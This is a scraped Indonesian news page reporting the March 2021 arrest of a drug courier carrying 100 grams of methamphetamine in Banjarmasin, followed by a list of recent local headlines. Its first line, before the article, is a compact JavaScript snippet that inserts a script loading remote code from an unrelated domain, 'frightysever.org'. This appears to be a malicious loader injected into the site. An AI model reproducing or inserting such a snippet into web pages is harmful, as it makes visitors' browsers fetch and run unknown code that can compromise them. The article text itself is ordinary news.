(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Diupah Ratusan Ribu, Pengantar 100 Gram Sabu Dibekuk Polisi di Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Berdalih pengangguran, RF alias Otek, nekat menjadi kurir narkoba demi uang ratusan ribu.

Hal tersebut diakui Otek, warga Jalan Dahlia Gang Budaya, RT 31 Banjarmasin Barat, yang ditangkap polisi membawa 100 gram sabu. Otek selama ini tak ada pekerjaan, karena itu mau diiming-imingi uang Rp 100 hingga Rp 500 ribu per sekali antar.

“Itupun tergantung barang yang akan diantar, selain itu saya juga baru saja sebagai pesuruh dan selama ini tak pernah ketemu sama bandar hanya melalui telepon seluler, demi kebutuhan hidup sehari-hari itulah,” ujar RF alias Otek saat gelar perkara, di Mapolsek Banjarmasin Utara, Selasa (30/3/2021).

Kapolsekta Banjarmasin Utara Kompol Indra Agung Permana Putra, melalui Kanit Reskrim Ipda Hendra Agustian Ginting mengatakan, anggota masih mendalami kasus Narkoba untuk dapat diketahui bandar sebenarnya.

Tersangka RF sendiri ditangkap, saat berada di Jalan Sultan Adam, Banjarmasin Utara pada Minggu (28/3/2021) yang lalu, sekitar pukul 14.00 Wita. Bersamaan dengan sejumlah barang bukti berupa satu buah telepon genggam merk realmi warna biru, satu buah sepeda motor Honda Vario, warna hitam putih DA 6632 AAE.

Baca juga : 20 IUP Lolos ‘No Database’ ESDM Kalsel, DPRD dan Kejati Didesak Selidiki!

“Satu paket Narkotika jenis sabu dengan berat 100 gram yang dibungkus dengan kertas koran,” ungkap Ginting.
Sebelum tertangkapnya tersangka, anggota sering mendapatkan informasi dari masyarakat sekitar, ada orang yang mencurigakan sering melakukan transaksi Narkotika di Tempat Kejadian Pekara (TKP), lalu anggota mencoba melakukan penyelidikan soal laporan tersebut.

Setelah melakukan penyelidikan beberapa hari, alhasil anggota berhasil menangkap tersangka dengan cara menabrakan sepeda motor ke sepeda motor tersangka, supaya tak bisa berkutik lagi. Lalu tersangka langsung dibawa ke Mapolsek Banjarmasin Utara guna pemeriksaan lebih lanjut.

“Untuk tersangka, dikenakan pasal 114 ayat 2 jo, 112 ayat 2 UU No. 35 Tahun 2009 tentang Narkotika,” pungkas Ginting. (kanalkalimantan.com/tius)

 

Reporter : Tius
Editor : Kk

 

 


Al Ghifari

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

11 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

11 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

13 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

17 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

19 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 hari ago

This website uses cookies.